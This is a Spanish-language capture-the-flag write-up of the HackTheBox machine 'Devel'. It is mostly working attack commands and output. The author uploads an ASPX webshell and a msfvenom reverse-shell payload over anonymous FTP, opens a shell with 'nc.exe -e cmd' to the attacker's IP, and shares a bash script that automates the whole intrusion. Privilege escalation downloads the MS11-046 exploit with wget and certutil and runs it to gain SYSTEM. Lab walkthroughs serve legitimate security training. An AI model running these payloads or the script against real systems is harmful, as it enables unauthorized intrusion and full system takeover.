HTB Devel

¡Hola! En esta ocasión vamos a resolver de la máquina devel de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre devel y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack devel
cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.10.5

[*] Detectando sistema operativo ...

[+] 10.10.10.5 ttl=127 >> Windows

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.5 -oG ports | grep open
21/tcp open  ftp
80/tcp open  http

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

 nmap -p21,80 -sCV 10.10.10.5 -oN versions
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

RECONOCIMIENTO FTP

Iniciamos con el reconocimiento del servicio ftp donde inicialmente probamos el acceso al servicio con el usuario anonymous y sin contraseña, logando el acceso y la capacidad de ejecutar comandos en este servicio.

ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:bast1ant1c): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.

RECONOCIMIENTO WEB

Procedemos a revisar la página web por el puerto 80, obteniendo una página por defecto de un servidor IIS.

Inspeccionando el contenido podemos ver que la imagen se denomina como welcome.png, recurso que vimos anteriormente en el reconocimiento ftp.

En esta ocasión mostraré dos maneras de realizar la intrusión a la máquina, pero antes de esto, vamos a ingresar a la carpeta exploit

cd ../exploit

INTRUSION WEBSHELL

Vamos a localizar una webshell de aspx y la utilidad nc.exe para poder obtener nuestra primera intrusión.

locate .aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx console.aspx
locate nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .

Nos conectamos nuevamente por ftp y cargamos la webshell que denominamos como console.aspx.

ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:bast1ant1c): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put console.aspx 
local: console.aspx remote: console.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1438 bytes sent in 0.00 secs (18.7861 MB/s)

Tenemos nuestra webshell en la máquina y lo podemos comprobar al ingresar al recurso en el navegador http://10.10.10.5/console.aspx

Activamos el servicio smb con impacket para compartir los archivos que tenemos en la carpeta exploit.

sudo impacket-smbserver smbFolder $(pwd)

Creamos un listener por el puerto que elegimos.

rlwrap nc -lvnp 4564

En la webshell ingresamos el siguiente comando que nos va a permitir ejecutar nc.exe directamente en la máquina víctima y así generar una reverse shell.

\\10.10.14.15\smbFolder\nc.exe -e cmd 10.10.14.15 4564

Finalmente obtenemos acceso a una shell de la máquina victima con el usuario iis apppool\web.

INSTUSION MSFVENOM

Para la siguiente intrusión vamos a crear con msfvenom una reverse shell indicando el formato aspx.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4564 -f aspx -o reverseShell.aspx

Cargamos la reverse shell al servidor ftp.

ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:bast1ant1c): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put reverseShell.aspx 
local: reverseShell.aspx remote: reverseShell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2765 bytes sent in 0.00 secs (23.7559 MB/s)

Creamos un listener por el puerto que elegimos.

rlwrap nc -lvnp 4564

En el navegador vamos a la ruta http://10.10.10.5/reverseShell.aspx y logramos tener acceso por otra vía a la máquina víctima.

SCRIPT DE INTRUSION PWNTRUTION.SH

Comparto el script que realicé para automatizar la intrusión de esta máquina.

##!/bin/bash
#Author: Bast1ant1c

# $1 = IP local
# $2 = Puerto
# $3 = ReverseShell
# $4 = IP victima
# Cambiar USER y PASS si es necesario

if [ -z "$1" ]; then
	echo '''
[*] How to use
[+] ./pwntrution.sh <IP_Local> <Port> <RevShell_Name> <IP_Victim>'''
else

echo "[*] Generando payload"
msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f aspx -o $3.aspx 2>/dev/null

echo "[*] Carga de payload"
ftp -n $4 << EOF
quote USER anonymous
quote PASS 
put $3.aspx
quit
EOF

echo "[*] Ejecución de payload"
curl -s http://$4/$3.aspx

echo "[*] Descargando exploit ms11-046"
wget https://github.com/abatchy17/WindowsExploits/raw/master/MS11-046/MS11-046.exe 2>/dev/null

echo "[*] Obteniendo acceso"
rlwrap nc -lvnp $2 2>/dev/null
fi

ESCALADA DE PRIVILEGIOS

Realizamos como primer paso una enumeración basica, por medio del comando systeminfo, obteniendo información interesante en cuanto a la versión del sistema operativo actual.

systeminfo
Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600

Luego de un poco de investigación de la versión de Windows 6.1.7600, encontramos que es vulnerable al script MS11-046.exe del github de abatchy17, por ende, procedemos a descargar este recurso.

wget https://github.com/abatchy17/WindowsExploits/raw/master/MS11-046/MS11-046.exe

Al obtener el exploit, activamos un servidor http con python por el puerto 80.

sudo python3 -m http.server 80

En la máquina víctima realizamos la descarga desde la carpeta C:\Windows\Temp del exploit por medio de la utilidad certutil.exe.

cd C:\Windows\Temp
certutil.exe -f -urlcache -split http://10.10.14.15/MS11-046.exe
MS11-046.exe
whoami
nt authority\system

¡Listo! Logramos una shell con un usuario administrador.

FLAGS

Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.

cd C:\
dir /b/s user.txt
C:\Users\babis\Desktop\user.txt
set /P user=<"C:\Users\babis\Desktop\user.txt"
echo.%user:~0,10%
455111f4a9
dir /b/s root.txt
C:\Users\Administrator\Desktop\root.txt
set /P root=<"C:\Users\Administrator\Desktop\root.txt"
echo.%root:~0,10%
655befe588

¡Hemos logrado completar la máquina devel de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.